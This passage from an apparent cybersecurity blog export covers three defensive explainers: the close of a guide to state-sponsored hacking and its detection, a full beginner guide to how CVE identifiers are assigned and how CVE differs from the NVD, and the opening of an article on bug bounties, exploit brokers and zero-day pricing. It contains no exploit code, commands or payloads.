a few additions. 1. **Assume breach and hunt internally.** Reduce dwell time and watch for lateral movement and credential abuse, because these actors live off the land once inside. 2. **Harden the supply chain.** Vet vendors and managed service providers, and monitor the access you grant them. Supply-chain intrusion is a preferred route precisely because it bypasses your perimeter. 3. **Protect critical operational technology.** Segment industrial and control systems from IT networks, and treat quiet, long-lived access to them as the pre-positioning risk it is. 4. **Follow government advisories for your sector.** National agencies publish specific technical guidance on active state campaigns. If you run infrastructure, this is not optional reading. 5. **Map known techniques to detections.** Identify which groups target your sector and engineer detections against their documented behaviours. To see which state-linked groups target which sectors, along with their aliases and known operations, our Threat Groups directory tracks the actors so you can focus on the ones aligned with your industry and region. ## How a state operation typically unfolds State campaigns follow a recognizable lifecycle, and mapping it helps a defender understand where they might see the actor and where they might intervene. The stages align with the phases in the [MITRE ATT&CK framework](/mitre-attack-framework-explained), which catalogs the specific behaviors under each. 1. **Target selection and tasking.** The operation begins with a national objective, not a target of opportunity. A collection requirement, for example a particular ministry's negotiating position or a defense program's designs, is handed down, and operators work backward to who holds that information. 2. **Reconnaissance.** Operators study the target's people, technology, and suppliers, often patiently, building a picture of the attack surface including third parties that touch the target. 3. **Initial access.** Entry commonly comes through spearphishing tuned to specific individuals, exploitation of an internet-facing service, or a supply-chain compromise that reaches the target through a trusted vendor. State actors will spend a rare, unpublished exploit here when the target justifies it. 4. **Establishing a foothold and persistence.** Once inside, the actor installs durable access designed to survive reboots and password changes, frequently blending into legitimate tools and processes to avoid drawing attention. 5. **Privilege escalation and lateral movement.** The operator expands quietly, harvesting credentials and moving toward the systems that actually hold the objective, often living off the built-in administrative tools of the environment to avoid dropping detectable malware. 6. **Collection or effect.** For espionage, this is the slow, careful gathering and staging of data. For sabotage or pre-positioning, it is the placement of access or capability against a future decision to act. 7. **Exfiltration and dwell.** Data leaves over channels chosen to blend with normal traffic, and the actor often remains inside for months, returning to collect as the target's information changes. The two features that distinguish this lifecycle from a criminal intrusion are patience and objective. A criminal wants to monetize access quickly and move on. A state operator will sit quietly for a long time because the value is the sustained access itself, and because the tasking rewards completeness over speed. The most capable state operators avoid custom malware wherever built-in administrative tools will do the job. Using the same utilities administrators use for remote management, scripting, and credential handling lets the intrusion hide inside expected activity. This is why signature-based detection alone misses well-run state operations, and why behavioral detection and internal hunting matter so much against them. The absence of obvious malware is not evidence of safety. ## A worked scenario: supply-chain reach Consider how a state actor reaches a hardened government target through a softer supplier, a pattern that has made supply-chain intrusion a preferred route. The final objective is a defense ministry with strong perimeter security and mature monitoring. Attacking it head-on is expensive and noisy. The operator instead studies the ministry's vendors and identifies a smaller software supplier whose product runs inside the ministry with elevated trust. That supplier has weaker defenses and less scrutiny. The operator compromises the supplier, then uses the trusted relationship, a software update, a maintenance connection, or shared credentials, to cross into the ministry inside traffic the ministry already trusts. The perimeter that would have stopped a direct attack waves the vendor through, because trusting the vendor is the whole point of the relationship. The defensive lesson is that the target's own security is not the boundary of its risk. Every vendor and managed service provider with trusted access extends the attack surface, and a state actor will find the weakest link in that chain deliberately. This is why vendor scrutiny and monitoring the access granted to third parties are not compliance chores but core defenses against capable actors. ## Detecting state-level activity State operations are harder to catch than commodity crime because the actor is patient and quiet, but they are not invisible. The signals lean behavioral. - **Low-and-slow anomalies.** Small, patient deviations, an account authenticating at unusual hours, a slow trickle of data to an unfamiliar destination, matter more than loud events. The tradecraft is designed to avoid thresholds, so baselining normal behavior and investigating quiet outliers is central. - **Abuse of legitimate tools.** Administrative utilities being used in unusual sequences, from unusual hosts, or by accounts that do not normally perform administration, is a hallmark of living off the land. Detection means understanding who legitimately uses which tools. - **Credential misuse and lateral movement.** Reused credentials appearing across systems, and authentication paths that do not match normal work patterns, indicate an actor expanding quietly inside. - **Persistence in unexpected places.** Durable access mechanisms placed in scheduled tasks, services, or startup paths that no administrator created point to an actor establishing a foothold. - **Traffic that blends but does not quite fit.** Exfiltration channels chosen to look normal often still deviate in volume, timing, or destination when compared against a real baseline. - **Targeting of individuals.** For states focused on internal control, the target set itself is a signal. Journalists, dissidents, and diaspora members being probed is a pattern ordinary crime has no motive to produce. ## Common misconceptions - **"Only large organizations are targets."** Small suppliers, contractors, and individuals are routinely targeted precisely because they are the path to a larger objective or because they personally hold intelligence value. Size is not a shield. - **"Nation-state means unstoppable."** Capable actors are patient and well-resourced, but they still rely on ordinary footholds like phishing and unpatched services, and they still have to move laterally and persist in ways that disciplined defense can detect and disrupt. Fundamentals raise their cost meaningfully. - **"Attribution names the culprit with certainty."** Public attribution is a weighted assessment built from tradecraft, targeting, and infrastructure, and states actively muddy it with proxies, shared tools, and false flags. It carries a confidence level, and reading that confidence is part of using it responsibly. - **"It always involves exotic zero-day exploits."** States hold rare exploits and spend them on hard targets, but most intrusions begin with mundane access and commodity techniques. Reserving your defenses for exotic threats leaves the common door open. - **"Financial motive rules out a state."** Some heavily sanctioned states run revenue-raising theft as policy, so financial gain and state sponsorship are not mutually exclusive. The scale, patience, and resourcing behind such theft distinguish it from ordinary financial crime. ## How state cyber operations developed Offensive cyber began as an extension of signals intelligence, a quieter way to collect the communications and documents that agencies had always sought. As dependence on networks grew, the same access that served espionage started to offer the option of disruption, and states began treating quiet, long-lived access to critical infrastructure as a strategic asset to hold in reserve. Influence operations emerged as social platforms made public opinion directly reachable, adding a third goal alongside collection and disruption. Sanctioned states, cut off from normal finance, turned cyber theft into a revenue stream, folding a fourth goal into the picture. Across this evolution the organizational model diversified, from tightly controlled military and intelligence units to contractors and tolerated criminal proxies that add capacity and deniability. The constant is that cyber capability became a standard instrument of statecraft, used in concert with diplomacy, sanctions, and military power rather than in isolation, and defenders now have to reason about intent and national objective, not just technique. ## Deniability, proxies, and false flags The proxy model deserves a closer look, because it is central to how states use cyber capability while limiting the political cost. A government that wants an outcome, the theft of a design, the disruption of a rival's service, does not need to run the operation with its own uniformed operators. It can task a contractor, tolerate a criminal group that already has the capability, or simply let a nominally independent group act in a direction that serves the state. Each layer of separation buys deniability. The intent is served whether the state pressed every key or merely created the conditions and looked away. False flags push this further. Operators can plant indicators that point at a different actor: reuse another group's tools, embed language or time-zone artifacts associated with someone else, or route through infrastructure a rival is known to favor. Because attribution is assembled from exactly these kinds of clues, a well-placed false flag can steer analysis toward the wrong government, at least for a while. Defenders and analysts counter this by weighting many independent signals together and by treating any single, conveniently obvious indicator with suspicion, since the easiest clue to plant is the one that names a scapegoat. For a defender, the practical consequence is that the label on an intrusion matters less than the behavior. Whether a given campaign is run by a direct military unit, a contractor, or a tolerated criminal proxy, the techniques you detect and the controls that disrupt them are largely the same. The attribution question matters for policy and for judging who might target you and why, and the defensive question is answered by the discipline you apply regardless of who is behind the keyboard. It is tempting to read a public report naming a specific government and to shape defenses around that one actor. Attribution shifts, proxies share tooling, and false flags exist to mislead exactly this instinct. Use attribution to understand which sectors and goals put you in scope, then defend against the behaviors, not the name. A control that only works if the report named the right country is a fragile control. ## Frequently asked questions **What separates a nation-state actor from an advanced criminal group?** Objective and constraint. A criminal pursues profit and fears prosecution, which shapes fast, monetizable operations. A state operator executes policy, enjoys protection at home, tolerates high cost, and can combine cyber with other instruments of national power, which supports patient, long-lived campaigns. **Why is espionage more common than sabotage?** Stealing information is lower-risk and usually more useful than destroying it. Sabotage reveals capability and can escalate a conflict, so states reserve it, while quiet collection can continue for years and serve many objectives. **What is pre-positioning?** Establishing and holding access to critical infrastructure without acting on it, so that disruption is available on short notice if a conflict starts. Such an intrusion looks like espionage until the day it is used, which is what makes quiet, long-lived access to operational technology so serious. **How should a normal company defend against a state actor?** Largely with the same discipline used against any advanced persistent threat: assume breach and hunt internally, reduce dwell time, enforce least privilege, and patch exposed services. Add supply-chain scrutiny and follow your sector's government advisories, because those address the routes state actors specifically favor. **Can you ever be certain which government is behind an attack?** Rarely with courtroom certainty. Attribution is an evidence-weighted judgment expressed as a confidence level, and states deliberately blur it with proxies and false flags. Treat named attributions as assessments and note the stated confidence. **Do state actors only use custom malware?** No. Capable actors prefer to live off the land, using built-in administrative tools that blend into normal activity, and reserve custom or rare tools for situations that require them. This is why behavioral detection outperforms signature matching against them. **Are individuals ever direct targets?** Yes. Journalists, dissidents, diaspora communities, and specific officials or researchers are persistent targets for states focused on internal control or high-value intelligence. The personal target set is itself a signal of state, rather than criminal, interest. **Why do states use criminal proxies at all?** Proxies add capacity and deniability. A tolerated criminal group brings existing capability the state can benefit from, while the separation lets the government deny ordering the operation. The intent is served whether the state ran it directly or simply created the conditions and looked away, which is what makes the crime-and-statecraft line intentionally blurry. State-sponsored hacking is policy carried out through networks. Understanding the goal behind an intrusion (steal, disrupt, influence, or fund) tells you far more about what a given actor will do next than any single piece of malware ever will. ## Related guides - [What Is an APT](/what-is-an-apt) - [Hacktivism Explained](/hacktivism-explained) - [Cybercrime-as-a-Service Explained](/cybercrime-as-a-service-explained) - [The MITRE ATT&CK Framework Explained](/mitre-attack-framework-explained) - [Insider Threats Guide](/insider-threats-guide) ### Sources - MITRE ATT&CK: Groups (MITRE): https://attack.mitre.org/groups/ - CISA: Advanced Persistent Threats and Nation-State Actors (CISA): https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats-and-nation-state-actors - MITRE ATT&CK: Enterprise Matrix (MITRE): https://attack.mitre.org/matrices/enterprise/ --- ## The CVE System: How Vulnerabilities Get Their Names > How the CVE program works: CNAs, how an ID is reserved and assigned, the record lifecycle, and how CVE differs from the NVD that enriches it. - URL: https://blog.pwnsy.com/the-cve-system-explained - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: beginner - Category: threat-intel - Tags: cve, cna, nvd, threat-intel, vulnerability-management - Related: [Genesis Market Explained: The Bot Shop and Operation Cookie Monster](https://blog.pwnsy.com/genesis-market-explained), [How Dark Web Monitoring Works: Sources, Alerts and Limits](https://blog.pwnsy.com/how-dark-web-monitoring-works), [The Capital One Breach: SSRF, Metadata Credentials, 100 Million Records](https://blog.pwnsy.com/capital-one-breach-explained) ### TL;DR - A CVE is a unique identifier for one specific vulnerability, so everyone from vendors to scanners to news reports can refer to the same flaw without confusion. - The CVE program is run by MITRE with CISA sponsorship, and IDs are issued by a federated network of CVE Numbering Authorities (CNAs), not by one central office. - An ID moves through a lifecycle: reserved first, then populated with details and published once the vulnerability is disclosed. - CVE assigns the name and the core record. The NVD then enriches many records with CVSS scores and other analysis, which is why people confuse the two. ### Key Takeaways - A CVE ID follows the format CVE-YEAR-NUMBER and points to exactly one vulnerability in one or more products. - CNAs are vendors, research groups, and coordinators authorised to assign CVE IDs within their own scope, which lets the program scale globally. - Reserved status means an ID exists but details are withheld, commonly during coordinated disclosure before a patch is ready. - CVE (run by MITRE) is the identifier and record; the NVD (run by NIST) is a separate database that adds CVSS scoring and analysis on top. - The record is a structured JSON entry with affected products, references, and descriptions, maintained through the CVE program's public services. When a flaw in a piece of software becomes public, the first thing it gets is a name. That name is a CVE identifier, something like `CVE-2024-12345`, and it lets a vendor advisory, a scanner finding, a patch note, and a news headline all point at the exact same problem. Without it, the industry would be arguing over whether two reports describe one bug or two. CVE, Common Vulnerabilities and Exposures, is a program that assigns those identifiers and keeps a public record for each one. It is operated by MITRE with sponsorship from CISA, and it has become the shared vocabulary of vulnerability management. Understanding how an ID gets created, and how CVE differs from the database that scores it, clears up most of the confusion people have about vulnerability data. ## What a CVE ID is A CVE ID has a simple structure: the prefix `CVE`, the year, and a sequence number, for example `CVE-2024-12345`. The year is the year the ID was reserved, which is not always the year the vulnerability becomes public. The number has no meaning beyond uniqueness; a higher number does not imply a worse flaw. Each ID maps to one vulnerability. The associated record carries a short description, the affected products and versions, and references to advisories or research. The point of the record is identity and traceability. It tells you which flaw this is and where to read more, and it leaves the scoring and deep analysis to other systems. ## CNAs: how assignment scales No single office could name every vulnerability in the world's software. The CVE program solves this with a federated model built on CVE Numbering Authorities, or CNAs. A CNA is an organisation authorised to assign CVE IDs within a defined scope. Most large software vendors are CNAs for their own products. Open-source projects, security research firms, bug bounty platforms, and national coordination centres are CNAs too. A small set of CNAs of last resort handle vulnerabilities that fall outside every other CNA's scope. | Role | Who fills it | Scope | |---|---|---| | Vendor CNA | Software and hardware makers | Their own products | | Open-source CNA | Major projects and foundations | Their own codebases | | Coordinator CNA | Research groups, national CERTs | Third-party and multi-vendor issues | | CNA of last resort | Designated top-level authorities | Anything no other CNA covers | This federation is why the program keeps up with a global flood of vulnerabilities. Assignment happens close to the source, where the people who understand the flaw already are, and the program coordinates the whole network rather than doing every assignment centrally. ## The lifecycle of a record A CVE ID does not spring into existence fully described. It moves through states. **Reserved.** A CNA sets aside an ID for a vulnerability that has been reported but not yet disclosed. The ID exists, but the details are deliberately withheld. This is normal during coordinated disclosure, where researcher and vendor agree to keep specifics quiet until a patch is available. A reserved entry looks empty on purpose. **Published.** Once the vulnerability is disclosed, the CNA populates the record with a description, affected products, and references, and the entry becomes public. This is the state most people see. **Rejected or disputed.** Sometimes an ID is withdrawn because the issue turned out not to be a valid vulnerability, or a vendor disputes the claim. The record reflects that status so the history stays honest. If you look up a freshly reserved CVE and find almost nothing, that is often coordinated disclosure working as designed. The ID is locked in so everyone can reference the coming fix, while details stay embargoed until the patch ships. See our guide to [Coordinated Vulnerability Disclosure](/coordinated-vulnerability-disclosure-explained). ## CVE versus the NVD This is the distinction that trips people up most, so it is worth stating plainly. **CVE** is the identifier and the core record. It is run by MITRE under the CVE program. It answers: what is this vulnerability, what does it affect, and where can I read about it. **The NVD**, the National Vulnerability Database, is a separate database run by NIST. It ingests CVE records and enriches many of them with additional analysis, most visibly a CVSS score, along with product mappings and other metadata. It answers: how severe is this, expressed as a number. | System | Run by | Provides | |---|---|---| | CVE | MITRE (CISA-sponsored) | The ID, description, affected products, references | | NVD | NIST | CVSS scores and enrichment layered on CVE records | The two are complementary. A CVE gives the flaw its name and its facts. The NVD is one consumer that adds a severity view. Other databases and vendors consume CVE records too, which is why the same CVE can appear with different enrichment in different places while the identity stays constant. When you reference a vulnerability, use the CVE ID as the stable anchor. For severity, pull the CVSS score from the NVD or the vendor; for likelihood and confirmed exploitation, add EPSS and KEV. The CVE is the key that ties all of those views together. ## How to use the CVE system well 1. **Treat the CVE ID as the join key.** It is the one identifier that connects advisories, scanners, EPSS, KEV, and your ticketing system. Always record it. 2. **Do not read severity into the number.** The sequence in a CVE ID is arbitrary. For severity, go to the CVSS score in the NVD or the vendor advisory. See [CVSS Explained](/cvss-explained). 3. **Expect gaps and lag.** A record can sit reserved for a while, and NVD enrichment can trail the CVE publication. Plan workflows that tolerate incomplete data rather than assuming every field is filled the moment a CVE appears. 4. **Follow the references.** The reference links in a record point to the authoritative advisory and patch, which is usually where the actionable detail lives. 5. **Layer the signals.** The CVE names the flaw; EPSS estimates likelihood, KEV confirms exploitation, CVSS rates impact. Together they turn a raw ID into a prioritisation. Our Exploit Intelligence dashboard takes live CVE records and joins them to CVSS severity, EPSS likelihood, and CISA KEV confirmation in one matrix, so a bare identifier turns into a picture of which flaws are actually under pressure. The CVE system does one thing and does it reliably: it gives every disclosed vulnerability a stable, shared name and a factual record. The severity scores, likelihood models, and exploitation catalogs all hang off that name. Get comfortable with how IDs are reserved, who assigns them, and where CVE ends and the NVD begins, and the rest of the vulnerability data ecosystem stops looking like a tangle. ## A walkthrough of a CVE's journey Tracing one vulnerability from discovery to a published record makes the abstract lifecycle concrete, and shows why records sometimes look incomplete when you find them. A researcher discovers a flaw in a widely used application. Their first step is usually to report it privately to the vendor rather than publish it, which begins coordinated disclosure. The vendor, if it is a CNA for its own products, reserves a CVE ID for the issue. At this point the identifier exists and is essentially a placeholder. Anyone who looks it up finds a reserved entry with almost no detail, which is the system working as intended, because publishing details before a fix exists would arm attackers against unpatched users. Behind the reservation, the vendor and researcher work through the fix. They confirm the affected versions, develop and test a patch, and agree on a disclosure date. The reserved CVE ID travels through all of this as the shared reference, so the vendor's internal tracking, the researcher's notes, and the eventual advisory all point at the same identifier even while the details are embargoed. On the agreed disclosure date, the vendor publishes the patch and populates the CVE record. The reserved entry becomes a published one, gaining a description of the flaw, the list of affected products and versions, and references to the vendor advisory and patch. The identifier that was a placeholder is now a full, public record that scanners can key on and defenders can act against. After publication, a second process often runs. The NVD ingests the newly published CVE record and enriches it, most visibly by assigning a CVSS score and mapping affected products in its own format. This enrichment can lag the CVE publication, sometimes by a noticeable gap, which is why a fresh CVE can appear with a full description but no severity score for a while. The identity and facts come from the CVE program, and the severity view arrives separately from the NVD. ## Detection and workflow signals The CVE system is data infrastructure, so the signals worth tracking are about how records flow through your tooling and where they lag. - **A reserved CVE referenced in a vendor pre-announcement.** When a vendor signals a coming fix and cites a reserved ID, it is worth capturing early so you are ready to act the moment the record publishes. - **A newly published CVE matching your inventory.** The core signal is a fresh record for a product you run. Matching CVE publications against an asset inventory, joined on vendor and product, is what turns the feed into action. - **CVE published but NVD enrichment missing.** A record with a description and affected products but no CVSS score yet is common, because NVD analysis trails CVE publication. Workflows that wait for a severity score before acting will stall on exactly the freshest flaws. - **A CVE marked rejected or disputed.** A withdrawn or contested record means the issue may not be a valid vulnerability, so tickets keyed to it should be re-checked rather than actioned blindly. - **The same CVE with different enrichment in different sources.** Because many databases consume CVE records and add their own analysis, the identity stays constant while the surrounding scores and metadata vary. Treat the CVE ID as the anchor and reconcile the enrichment. The most common CVE-workflow mistake is waiting for the NVD CVSS score before triaging a flaw. Because enrichment trails publication, that wait is longest for the newest records, which are often the ones that matter most. Trigger triage on the CVE publication itself, using the vendor advisory for severity in the interim, and let the CVSS score refine the picture when it lands. ## Common misconceptions **"A higher CVE number means a more serious flaw."** The sequence number carries no severity meaning. It only ensures uniqueness within a year. A CVE ending in a large number is not worse than one ending in a small number, and the year in the ID is the year it was reserved, which is not always the year the flaw became public. **"CVE and the NVD are the same thing."** They are separate systems run by different organisations. CVE, operated by MITRE, assigns the identifier and the core record. The NVD, operated by NIST, is one consumer that adds CVSS scoring and enrichment on top. People conflate them because the NVD is where many first see a CVE with its severity attached. **"An empty CVE record means the system failed."** A freshly reserved CVE with almost no detail is usually coordinated disclosure working correctly. The ID is locked in so everyone can reference the coming fix, while the specifics stay embargoed until a patch ships. The blank record is deliberate. **"Every vulnerability gets a CVE."** Only vulnerabilities that fall within a CNA's scope and are reported through the process receive an ID. Some flaws are fixed silently, some fall outside any CNA's coverage, and some are disputed. The catalog is broad and it is not exhaustive. **"The CVE description tells me everything I need."** The record is deliberately concise, aimed at identity and traceability. The actionable detail, the exact affected builds, the patch, the mitigation, usually lives in the vendor advisory linked from the references. The record points you there rather than reproducing it. ## CVE compared with the systems around it The CVE ID is the anchor, and several other systems attach to it. Keeping their roles straight is what makes vulnerability data coherent. | System | Run by | Answers | |---|---|---| | CVE | MITRE (CISA-sponsored) | What is this flaw, what does it affect, where to read more | | NVD | NIST | How severe is it, expressed as a CVSS score plus enrichment | | CVSS | FIRST (standard) | How much damage a successful exploit would cause | | EPSS | FIRST | How likely exploitation is in the near term | | KEV | CISA | Is it confirmed to be exploited in the wild right now | The CVE names the flaw and states the facts. CVSS, delivered through the NVD or a vendor, rates its potential impact. EPSS estimates the probability it will be exploited soon. KEV confirms whether exploitation is already happening. Each of these is a distinct question, and each hangs off the CVE identifier as the join key. See [CVSS Explained](/cvss-explained), [EPSS Explained](/epss-explained), and [The KEV Catalog Explained](/kev-catalog-explained) for how the layered signals are built and used together. ## How the CVE program evolved Before CVE existed, every vendor, scanner, and research group named vulnerabilities in its own way. The same flaw might carry a different label in each tool, and defenders wasted effort working out whether two advisories described one bug or two. There was no shared vocabulary, which made correlating data across sources slow and error-prone. CVE was introduced in 1999 to solve exactly that. The idea was simple and durable: give every publicly known vulnerability a single, stable identifier that any tool or report could reference, so the industry could talk about the same flaw with the same name. MITRE operated the program, and it quickly became the common language of vulnerability management, adopted by scanners, advisories, and databases alike. Two developments shaped the modern program. The first was the NVD, which NIST built on top of CVE records to add severity scoring and enrichment, creating the two-system split that still confuses people today. The second was the federation of assignment through CNAs. Rather than name every vulnerability from one central office, the program authorised vendors, projects, and coordinators to assign IDs within their own scopes, which let it scale to a global flood of disclosures. More recent changes have modernised the record itself into a structured JSON format maintained through the program's public services, so records are machine-readable and flow cleanly into tooling. The purpose has held constant since 1999: one stable name per flaw, so everything else can hang off it. ## Reading a CVE record field by field A published CVE record is a structured entry, and knowing what each part is for helps you get the right information from it and avoid asking it for things it does not provide. The identifier is the anchor, the `CVE-YEAR-NUMBER` string that every other system references. Treat it as the primary key. The description is a short, factual summary of the flaw, written for identity rather than depth, so it tells you what class of vulnerability this is and roughly where it lives, and it deliberately stops short of exploitation detail. The affected products section lists the vendors, products, and version ranges the flaw applies to. This is the field you match against your asset inventory to decide whether a record concerns you. It is also the field that benefits most from the structured format, because machine-readable version ranges let tooling determine applicability without a human reading prose. The references are where the actionable detail lives. These links point to the authoritative vendor advisory, the patch, and often the original research. When you need the exact affected builds, the fix version, or the recommended mitigation, the references are where you go, because the record itself keeps the summary brief and defers the specifics to the source. The assigning CNA and the record's state round out the picture. The CNA tells you who is responsible for the record, which is usually the vendor for its own products and a coordinator for multi-vendor issues. The state, whether reserved, published, rejected, or disputed, tells you how much to trust the contents and whether to act. A published record from the product's own vendor CNA is the strongest form, because the organisation that owns the code is standing behind the facts. Held together, these fields explain the division of labour the whole system rests on. The CVE record establishes identity and points to the truth, the vendor advisory carries the operational detail, and the enrichment systems layer severity and exploitation data on top. Read the record for what it is built to give you, follow the references for the rest, and the identifier ties every view back to the same flaw. ## Frequently asked questions **What does a CVE ID actually look like?** It follows the format `CVE`, a year, and a sequence number, for example `CVE-2024-12345`. The year is when the ID was reserved, which is not always when the flaw became public, and the sequence number only ensures uniqueness. It carries no severity meaning. **Who assigns CVE IDs?** A federated network of CVE Numbering Authorities, or CNAs, assigns them within defined scopes. Most large vendors are CNAs for their own products, and open-source projects, research firms, bug bounty platforms, and national coordination centres are CNAs too. A small set of CNAs of last resort handle vulnerabilities that fall outside every other scope. **What is the difference between CVE and the NVD?** CVE, run by MITRE, is the identifier and the core record: what the flaw is, what it affects, and where to read more. The NVD, run by NIST, is a separate database that ingests CVE records and adds enrichment, most visibly a CVSS severity score. CVE gives the flaw its name and facts, the NVD adds a severity view. **Why does a CVE I looked up have almost no information?** It is probably in the reserved state. A CNA sets aside an ID for a reported but not yet disclosed flaw, so the identifier exists while the details stay embargoed until a patch is ready. This is normal during coordinated disclosure, and the record fills in when the vulnerability is published. **Can a CVE be removed or invalidated?** Yes. A CVE can be marked rejected if the reported issue turns out not to be a valid vulnerability, or disputed if a vendor contests the claim. The record reflects that status so the history stays honest, and a rejected or disputed entry should be re-checked rather than actioned as a confirmed flaw. **Does every vulnerability get a CVE?** No. Only flaws that fall within a CNA's scope and are reported through the process receive an ID. Some are fixed silently, some fall outside any CNA's coverage, and some are disputed. CVE coverage is broad and not exhaustive. **How should I use a CVE ID in my workflow?** Treat it as the join key that connects advisories, scanners, EPSS, KEV, and your ticketing system, and always record it. Pull severity from the CVSS score in the NVD or vendor advisory, add EPSS for likelihood and KEV for confirmed exploitation, and follow the reference links for the authoritative patch detail. The CVE ties all of those views to one flaw. ## Related guides - [CVSS Explained](/cvss-explained) - [EPSS Explained](/epss-explained) - [The KEV Catalog Explained](/kev-catalog-explained) - [Coordinated Vulnerability Disclosure Explained](/coordinated-vulnerability-disclosure-explained) - [Zero-Day Vulnerabilities](/zero-day-vulnerabilities) ### Sources - CVE Program (MITRE / CVE Program): https://www.cve.org/ - CVE Numbering Authorities (CNAs) (MITRE / CVE Program): https://www.cve.org/ProgramOrganization/CNAs - National Vulnerability Database (NIST National Vulnerability Database): https://nvd.nist.gov/ --- ## The Exploit Market: Bounties, Brokers & Zero-Day Trade > How the market for exploits works: bug bounties versus brokers versus the black market, what drives zero-day prices, and the ethics and policy debate. - URL: https://blog.pwnsy.com/the-exploit-market-explained - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: intermediate - Category: threat-intel - Tags: exploit-market, zero-day, threat-intel, vulnerability-research, bug-bounty - Related: [Genesis Market Explained: The Bot Shop and Operation Cookie Monster](https://blog.pwnsy.com/genesis-market-explained), [How Dark Web Monitoring Works: Sources, Alerts and Limits](https://blog.pwnsy.com/how-dark-web-monitoring-works), [The Capital One Breach: SSRF, Metadata Credentials, 100 Million Records](https://blog.pwnsy.com/capital-one-breach-explained) ### TL;DR - An exploit is working code that turns a vulnerability into a usable attack, and there is a real market for it spanning legitimate, gray, and criminal channels. - The same vulnerability can be sold to a vendor's bug bounty, to a broker who sells to governments, or on the black market, and each path pays and behaves very differently. - Zero-day prices are driven by how hard the target is to exploit, how widely it is deployed, how reliable the exploit is, and how long it is likely to keep working. - The market sits on an unresolved ethical and policy question: whether governments buying and stockpiling exploits makes their own citizens safer or less safe. ### Key Takeaways - A zero-day is a vulnerability the vendor does not yet know about, so no patch exists, which is exactly what makes an exploit for it valuable. - Bug bounties pay researchers to report flaws so they get fixed; brokers pay more to keep flaws secret and usable; the black market sells to whoever pays. - Prices are highest for reliable, no-interaction exploits against popular, hardened platforms like mobile operating systems and browsers. - Exploit longevity is a hidden price driver: a bug likely to be found and patched soon is worth less than one expected to survive for years. - The core policy debate is disclosure versus retention: patching a flaw protects everyone, while keeping it secret preserves an offensive capability. A vulnerability by itself is a possibility. An exploit is the working code that turns that possibility into a usable attack, and working code is a commodity that people will pay for. The question that shapes the entire subject is who they pay, and why the same flaw can be worth a few thousand dollars in one channel and a fortune in another. The answer is a market with legitimate, gray, and criminal sides, each operating by different rules. This guide explains how the exploit market works at a conceptual level: the channels a discovered vulnerability can flow into, what actually drives the price of a zero-day, the role of brokers, and the unresolved ethics and policy debate underneath it all. It deals in dynamics, not prices, because the numbers move and the specifics change. The structure is what lasts. ## Why exploits have value at all The core asset is the **zero-day**: a vulnerability the vendor does not yet know about, for which no patch exists. Because there is no fix, an exploit for it works against every up-to-date system running the affected software. That reliability against fully patched targets is what makes it valuable. See [Zero-Day Vulnerabilities](/zero-day-vulnerabilities) for the underlying concept. The moment a vulnerability is disclosed and patched, the exploit's value falls sharply, because defenders can now close the hole. So the value of an exploit is tied directly to its secrecy. This creates the central tension of the whole market: the act that makes a flaw safe for everyone, disclosure, is the act that destroys its market value for the person who found it. On MITRE ATT&CK, developing exploit capability maps to [Exploits (T1587.004)](https://attack.mitre.org/techniques/T1587/004/) and buying it maps to [Obtain Capabilities: Exploits (T1588.005)](https://attack.mitre.org/techniques/T1588/005/). Both the build and the buy are recognised adversary behaviours, which tells you how normalised the trade has become. ## The three channels The same researcher who finds the same bug faces a choice of markets, and the choice determines both the payment and the consequence. | Channel | Buyer | What they want | Outcome for users | |---|---|---|---| | Bug bounty / disclosure | The software vendor | To learn about the flaw and fix it | Flaw gets patched, everyone safer | | Broker / gray market | Governments, agencies, contractors | To keep the flaw secret and usable | Flaw stays open, used offensively | | Black market | Criminals | An exploit to make money now | Flaw used against victims | **Bug bounties and coordinated disclosure** are the legitimate channel. A vendor pays a researcher to report a vulnerability so it can be fixed, following a [coordinated disclosure process](/coordinated-vulnerability-disclosure-explained). The payment is a reward for making software safer, and the flaw ends up patched. This channel optimises for defence. **Brokers and the gray market** buy exploits to keep them working. Their customers are typically governments and their contractors, who want offensive capability for intelligence, law enforcement, or military use. Brokers pay far more than bounties precisely because they need the flaw to stay secret rather than fixed. The market is legal in many jurisdictions, lightly regulated, and opaque, which is why it is called gray. **The black market** is the criminal channel, where exploits are sold to whoever will pay to attack victims for profit. It overlaps with the broader underground economy of stolen data and access. Once an exploit reaches a criminal channel, it becomes another input to the attack economy, alongside stolen credentials and network access. Our Exploit Intelligence dashboard tracks which vulnerabilities are actually being weaponised and how fast they move from disclosure to real-world exploitation, which is the defender's view of where this market is aimed. ## What drives the price of a zero-day Exploit pricing is not arbitrary. A handful of factors explain most of the variation, and understanding them explains why some bugs are worth vastly more than others. **Target difficulty.** Exploiting a hardened, heavily defended platform is harder than exploiting a neglected one. Modern mobile operating systems and mainstream browsers have years of exploit mitigations built in, so a working exploit against them represents an enormous amount of research and commands the highest prices. A flaw in obscure or poorly defended software is worth far less. **Deployment breadth.** An exploit against software running on billions of devices is worth more than one against a niche product, because it can reach more targets. Popularity of the target is a direct price multiplier. **Reliability and interaction.** The most valuable exploits are the ones that work every time and need no help from the victim. A "zero-click" exploit that compromises a device with no user action is worth a large premium over one that needs the target to open a file or tap a link. Reliability under real conditions matters as much as the initial breakthrough. **Chaining.** Serious attacks against hardened platforms rarely use one bug. They chain several, one to get in, others to escape a sandbox and gain privileges. A complete, working chain is worth far more than the sum of its parts, because assembling it is the hard part. **Expected longevity.** This is the factor outsiders miss. An exploit's value depends on how long it is expected to keep working before the underlying flaw is independently found and patched. A bug in code that is under heavy scrutiny may be short-lived and therefore cheaper, while one in a quiet corner of a codebase may survive for years and is priced accordingly. Because value depends on secrecy, a single vendor patch can render a stockpiled exploit worthless the moment it ships. Everyone holding that capability, offensive agencies included, loses it at once. This is the risk that sits behind every decision to retain a flaw rather than report it. ## The ethics and policy debate The exploit market forces a genuinely hard question with no clean answer, and it is worth stating both sides plainly. The case for **retention** is that offensive capability is a legitimate tool of national security and law enforcement. Intelligence agencies argue that keeping certain vulnerabilities secret lets them gather intelligence, disrupt threats, and act against adversaries who use the same technology. From this view, a stockpiled zero-day is a strategic asset. The case for **disclosure** is that a vulnerability kept secret is not secret to everyone. The same flaw can be discovered independently by an adversary, and while a government holds it, its own citizens and companies remain exposed. Patching the flaw protects everyone at once. From this view, hoarding vulnerabilities trades broad public safety for a narrow offensive advantage, and the trade is a bad one. This tension is why governments that retain exploits generally run some form of review process to decide, case by case, whether to disclose a flaw for patching or keep it. The existence of such processes is an admission that the question is real and that the default is contested. The [CISA coordinated vulnerability disclosure 